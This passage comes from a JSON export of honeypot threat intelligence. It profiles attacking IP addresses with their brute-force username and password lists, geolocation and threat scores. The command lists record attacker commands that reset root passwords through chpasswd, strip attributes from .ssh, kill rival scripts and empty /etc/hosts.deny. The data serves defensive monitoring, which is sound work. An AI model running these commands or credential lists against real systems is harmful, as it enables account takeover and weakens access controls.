        "first_seen_30d": "2026-04-09T03:31:29.960000+00:00",
        "last_seen_30d": "2026-04-28T23:40:21.368000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 961,
        "Suricata": 270
      }
    },
    "45.65.233.18": {
      "attack_count": 749,
      "first_seen": "2026-04-12T10:03:32.225Z",
      "last_seen": "2026-04-29T00:40:35.730Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ali",
        "claude",
        "deployer",
        "user",
        "ahmed",
        "backupuser",
        "bitrix",
        "demo",
        "deploy",
        "esadmin",
        "fastuser",
        "frappe",
        "ftpuser",
        "guest123",
        "hari",
        "ldapuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "P@ssW0rd",
        "root",
        "123",
        "123456",
        "123456ddd",
        "1234qwer",
        "1qaz3edc",
        "2025",
        "3bb",
        "Aa123456",
        "Google@123",
        "L3tm31n",
        "P@55wOrd",
        "P@ssw0rd",
        "QWE111",
        "Qwer@2023",
        "Qwerty1234@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456ddd\\nGpHAuhVDA1eQ\\nGpHAuhVDA1eQ\\n\"|passwd",
        "echo \"L3tm31n\\ngnRVmyvVyWsI\\ngnRVmyvVyWsI\\n\"|passwd",
        "echo \"Welcome\\naaiebzFSazh6\\naaiebzFSazh6\\n\"|passwd",
        "echo \"claude02!\\nK6eNniEuGhMu\\nK6eNniEuGhMu\\n\"|passwd",
        "echo \"root:3YfaMLh1id6l\"|chpasswd|bash",
        "echo \"root\\nJSnfpNFebg1x\\nJSnfpNFebg1x\\n\"|passwd",
        "echo -e \"123456ddd\\nGpHAuhVDA1eQ\\nGpHAuhVDA1eQ\"|passwd|bash",
        "echo -e \"L3tm31n\\ngnRVmyvVyWsI\\ngnRVmyvVyWsI\"|passwd|bash",
        "echo -e \"Welcome\\naaiebzFSazh6\\naaiebzFSazh6\"|passwd|bash",
        "echo -e \"claude02!\\nK6eNniEuGhMu\\nK6eNniEuGhMu\"|passwd|bash",
        "echo -e \"root\\nJSnfpNFebg1x\\nJSnfpNFebg1x\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Tunja",
      "asn": 269822,
      "as_org": "COLOMBIA MAS TV S.A.S",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.8,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 950,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:03:32.225000+00:00",
        "last_seen_30d": "2026-04-29T00:41:02.471000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 749,
        "Suricata": 201
      }
    },
    "154.236.187.90": {
      "attack_count": 693,
      "first_seen": "2026-04-03T06:54:38.357Z",
      "last_seen": "2026-04-15T08:34:19.168Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "ubuntu",
        "test",
        "user",
        "deployer",
        "postgres",
        "elise",
        "frappe",
        "localadmin",
        "marty",
        "nina",
        "qbtuser",
        "rke",
        "tester",
        "tests",
        "ts3",
        "ts3server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123!@#qweQWE",
        "123322",
        "123456",
        "12345@Admin",
        "12356",
        "123edcxzaq",
        "1qaz2wsx!",
        "3edc4rfv@@",
        "445566",
        "@a12345678",
        "A100s200",
        "A1234567090",
        "A@dmin123",
        "Aa.123456",
        "Abc123456",
        "Abc654321",
        "Admin2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Steam08\\nLMBhUM5vkFhE\\nLMBhUM5vkFhE\\n\"|passwd",
        "echo \"root:ILOdxc3ScIdy\"|chpasswd|bash",
        "echo \"root:tTsMfuKQwLaG\"|chpasswd|bash",
        "echo \"test\\n17b21KVcWHVR\\n17b21KVcWHVR\\n\"|passwd",
        "echo \"user23\\nXkBAvgJCRWiX\\nXkBAvgJCRWiX\\n\"|passwd",
        "echo -e \"Steam08\\nLMBhUM5vkFhE\\nLMBhUM5vkFhE\"|passwd|bash",
        "echo -e \"test\\n17b21KVcWHVR\\n17b21KVcWHVR\"|passwd|bash",
        "echo -e \"user23\\nXkBAvgJCRWiX\\nXkBAvgJCRWiX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 36992,
      "as_org": "Etisalat Misr",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 882,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:54:38.357000+00:00",
        "last_seen_30d": "2026-04-15T08:35:25.838000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 693,
        "Suricata": 189
      }
    },
    "190.153.249.99": {
      "attack_count": 653,
      "first_seen": "2026-04-08T09:16:43.735Z",
      "last_seen": "2026-04-26T18:14:20.670Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "akshay",
        "deploy",
        "ftpuser2",
        "git-admin",
        "labuser",
        "metabase",
        "minecraft",
        "odoo",
        "oracle",
        "root1",
        "rootuser",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$1234",
        "10202640",
        "102030",
        "12345678",
        "1q1a1z2w2s2x3e3d3c",
        "2w4r6y8i0p",
        "6625329a!",
        "@123456",
        "Aa1234567",
        "Digital2025",
        "Odoo06",
        "P@ssword!123",
        "Qazwsx1234567@123",
        "Qq@123456789",
        "Qwer!@#$",
        "Root01!!",
        "Sm@123456",
        "User@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa1234567\\nelwhizbl2rkO\\nelwhizbl2rkO\\n\"|passwd",
        "echo \"root:JryUBErZ0Bmd\"|chpasswd|bash",
        "echo \"root:Lw5waVUOPPsd\"|chpasswd|bash",
        "echo \"root:avhhO9dvYP66\"|chpasswd|bash",
        "echo \"root:jag0qSDf5TMD\"|chpasswd|bash",
        "echo \"root@123\\neY9wU3z8tYg9\\neY9wU3z8tYg9\\n\"|passwd",
        "echo -e \"Aa1234567\\nelwhizbl2rkO\\nelwhizbl2rkO\"|passwd|bash",
        "echo -e \"root@123\\neY9wU3z8tYg9\\neY9wU3z8tYg9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 14259,
      "as_org": "Gtd Internet S.A.",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 785,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:16:43.735000+00:00",
        "last_seen_30d": "2026-04-26T18:15:21.029000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 653,
        "Suricata": 132
      }
    },
    "171.231.176.39": {
      "attack_count": 431,
      "first_seen": "2026-04-24T03:23:04.277Z",
      "last_seen": "2026-04-24T03:49:49.845Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "ftp",
        "monitor",
        "123456",
        "ace",
        "admian",
        "anton",
        "backup",
        "belkinstyle",
        "btf",
        "carol",
        "cf1c22",
        "cpanel",
        "db2inst2",
        "demo",
        "developer",
        "ftpuser"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "P@ssw0rd",
        "abc123",
        "password",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "111111",
        "1234",
        "12345",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "ace",
        "admin1",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 636,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:23:04.277000+00:00",
        "last_seen_30d": "2026-04-24T03:50:58.385000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 431,
        "Suricata": 205
      }
    },
    "40.117.97.0": {
      "attack_count": 402,
      "first_seen": "2026-04-04T08:34:21.291Z",
      "last_seen": "2026-04-20T20:23:46.170Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deploy",
        "myuser",
        "odoo",
        "dbuser",
        "ftpuser",
        "odoo15",
        "oracle",
        "sammy",
        "test",
        "tushar",
        "ubuntu",
        "userftp",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "781220",
        "88888888",
        "@12345678",
        "Aa147258!",
        "Admin12!",
        "Alibaba123",
        "Change2024",
        "Ftpuser",
        "Odoo2",
        "Oracle01!",
        "Qq!123456",
        "a12345678.",
        "dbuser@123",
        "frappe12!",
        "mima1234",
        "myuserpassword",
        "odoo08",
        "odoo15"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Admin12!\\nVxNGG6DVFFen\\nVxNGG6DVFFen\\n\"|passwd",
        "echo \"frappe12!\\nFvDz9zAFQmlG\\nFvDz9zAFQmlG\\n\"|passwd",
        "echo \"myuserpassword\\nXTmdLnVqHxs4\\nXTmdLnVqHxs4\\n\"|passwd",
        "echo \"root:laecufIB4yuZ\"|chpasswd|bash",
        "echo -e \"Admin12!\\nVxNGG6DVFFen\\nVxNGG6DVFFen\"|passwd|bash",
        "echo -e \"frappe12!\\nFvDz9zAFQmlG\\nFvDz9zAFQmlG\"|passwd|bash",
        "echo -e \"myuserpassword\\nXTmdLnVqHxs4\\nXTmdLnVqHxs4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 477,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T08:34:21.291000+00:00",
        "last_seen_30d": "2026-04-20T20:24:47.964000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 402,
        "Suricata": 75
      }
    },
    "159.65.153.141": {
      "attack_count": 399,
      "first_seen": "2026-04-07T13:44:26.678Z",
      "last_seen": "2026-04-07T14:26:59.367Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "lixiang",
        "postgres",
        "aditya",
        "deploy",
        "finance",
        "front",
        "n8n",
        "oracle",
        "steam",
        "tableau",
        "testftp3",
        "usuario1",
        "vncuser",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123123Qwe",
        "123456",
        "12345Aa@",
        "1QAZ2wsx3edc",
        "Oracle14!",
        "Postgres05!",
        "Postgres06",
        "Qazwsx11111111..",
        "Qazwsx654321#$",
        "ZAQ!2wsx2025!",
        "aa123456!",
        "aditya",
        "finance",
        "frappe29",
        "front",
        "lixiang",
        "n8n2025!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"aa123456!\\nlUm49cEtBt9f\\nlUm49cEtBt9f\\n\"|passwd",
        "echo \"lixiang\\nFy8h4SX6Qi4g\\nFy8h4SX6Qi4g\\n\"|passwd",
        "echo \"root:5v9J7h3x0BVg\"|chpasswd|bash",
        "echo \"root:almJyH1m4c7Y\"|chpasswd|bash",
        "echo -e \"aa123456!\\nlUm49cEtBt9f\\nlUm49cEtBt9f\"|passwd|bash",
        "echo -e \"lixiang\\nFy8h4SX6Qi4g\\nFy8h4SX6Qi4g\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T13:44:26.678000+00:00",
        "last_seen_30d": "2026-04-07T14:28:07.577000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 75
      }
    },
    "181.39.158.30": {
      "attack_count": 398,
      "first_seen": "2026-04-04T07:29:32.476Z",
      "last_seen": "2026-04-04T08:31:52.820Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "ali",
        "ai",
        "bot",
        "jordan",
        "mc",
        "r00t",
        "rocky",
        "server",
        "steam",
        "test",
        "testing123",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "$RFV5tgb",
        "123456",
        "1qaz@WSX",
        "A@0599343813A@0599343813A@0599343813",
        "Ali04",
        "P@ssw0rd123",
        "Password",
        "QWERTY123456",
        "Qazwsx123456!@#",
        "Qazwsx2026..",
        "Qazwsx321!",
        "Server30!",
        "Test12345678",
        "bot1@",
        "jordan",
        "passw0rd",
        "postgres30!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ali04\\nkMsALRED1I5G\\nkMsALRED1I5G\\n\"|passwd",
        "echo \"root:Pc78hcS2JmHv\"|chpasswd|bash",
        "echo \"root:RSvb4WShYV75\"|chpasswd|bash",
        "echo \"root:r56Wecj2pmZE\"|chpasswd|bash",
        "echo -e \"Ali04\\nkMsALRED1I5G\\nkMsALRED1I5G\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Guayaquil",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:29:32.476000+00:00",
        "last_seen_30d": "2026-04-04T08:33:01.292000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 77
      }
    },
    "128.1.38.169": {
      "attack_count": 397,
      "first_seen": "2026-04-05T08:06:00.156Z",
      "last_seen": "2026-04-25T14:34:34.666Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "steam",
        "345gs5662d34",
        "ali",
        "claude",
        "patrick",
        "test",
        "anton",
        "bin",
        "bot",
        "frappe",
        "ftpuser",
        "grid",
        "hssuser",
        "jira",
        "john",
        "mario",
        "msuser",
        "oem"
      ],
      "passwords_attempted": [
        "test",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345678",
        "123456Mm",
        "8ik,!@",
        "Admin123",
        "Ali14",
        "Ali31",
        "Claude08",
        "Claude2025",
        "Ftpuser14!",
        "Joysuch@Locate2020",
        "P@ssword123",
        "Qwerty",
        "Root12!@#",
        "Ubuntu!2025",
        "Ubuntu1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"patrick123\\nACD1HbA829fS\\nACD1HbA829fS\\n\"|passwd",
        "echo \"root:wf7C1nhH81kD\"|chpasswd|bash",
        "echo -e \"patrick123\\nACD1HbA829fS\\nACD1HbA829fS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:06:00.156000+00:00",
        "last_seen_30d": "2026-04-25T14:35:35.282000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 397,
        "Suricata": 127
      }
    },
    "154.124.100.111": {
      "attack_count": 368,
      "first_seen": "2026-04-05T01:52:51.843Z",
      "last_seen": "2026-04-05T04:26:37.840Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sammy",
        "test",
        "ubuntu",
        "Administrator",
        "claude",
        "deploy",
        "dev",
        "es",
        "frappe",
        "postgres",
        "server",
        "test_user",
        "345gs5662d34",
        "gandalf",
        "gitlab-runner",
        "user"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "Postgres19!",
        "QWERasdf1234",
        "Server19",
        "ZAQ!2wsx2024!@",
        "admintest",
        "claude12!",
        "dev@123",
        "espassword",
        "frappe06",
        "qaz123",
        "qazwsx123123$",
        "qwer123",
        "sammy03",
        "ubuntu9",
        "user",
        "345gs5662d34",
        "Cloud12#$",
        "Lk@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "whoami",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sammy03\\nOvFjPlkzZjMX\\nOvFjPlkzZjMX\\n\"|passwd",
        "echo \"sammy03\\nuDIUHQVffmyM\\nuDIUHQVffmyM\\n\"|passwd",
        "echo -e \"sammy03\\nOvFjPlkzZjMX\\nOvFjPlkzZjMX\"|passwd|bash",
        "echo -e \"sammy03\\nuDIUHQVffmyM\\nuDIUHQVffmyM\"|passwd|bash",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "which ls"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 530,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:52:51.843000+00:00",
        "last_seen_30d": "2026-04-05T04:27:48.049000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 368,
        "Suricata": 162
      }
    },
    "95.90.13.168": {
      "attack_count": 349,
      "first_seen": "2026-04-11T14:50:50.007Z",
      "last_seen": "2026-04-11T15:29:48.203Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "laura",
        "manager",
        "test",
        "ubuntu",
        "bayu",
        "dev",
        "gitlab-runner",
        "m1",
        "sammy",
        "support",
        "xw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123",
        "000000",
        "1",
        "111",
        "123456",
        "13082025",
        "8888",
        "Qazwsx2025@123",
        "Sammy22!",
        "admin123",
        "bayu",
        "dev23!",
        "laura",
        "m1",
        "pass2025",
        "personal123",
        "qazwsx1234#",
        "qwaszx"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nNUrEcHK4fjjj\\nNUrEcHK4fjjj\\n\"|passwd",
        "echo \"laura\\nuDydmNhG8JTG\\nuDydmNhG8JTG\\n\"|passwd",
